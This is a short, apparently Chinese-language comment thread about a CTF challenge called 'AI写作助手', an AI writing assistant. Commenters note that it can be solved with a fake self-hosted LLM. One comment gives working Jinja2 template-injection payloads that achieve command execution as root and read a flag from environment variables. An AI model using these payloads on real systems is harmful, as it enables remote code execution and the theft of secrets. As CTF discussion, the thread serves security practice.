AI写作助手
神了 自启一个假 LLM就行了
没有apikey其实也能做
造一个就解出来了RCE：{{ lipsum.__globals__.os.popen("id").read() }} → uid=0(root)，容器内 root；取 flag：{{ cycler.__init__.__globals__.os.environ.get("GZCTF_FLAG") }}
...
评论
mahiru 1天前
举报
神了 自启一个假 LLM就行了
mystery 1天前
举报
没有apikey其实也能做
加州故事 1天前
举报
造一个就解出来了RCE：{{ lipsum.__globals__.os.popen("id").read() }} → uid=0(root)，容器内 root；取 flag：{{ cycler.__init__.__globals__.os.environ.get("GZCTF_FLAG") }}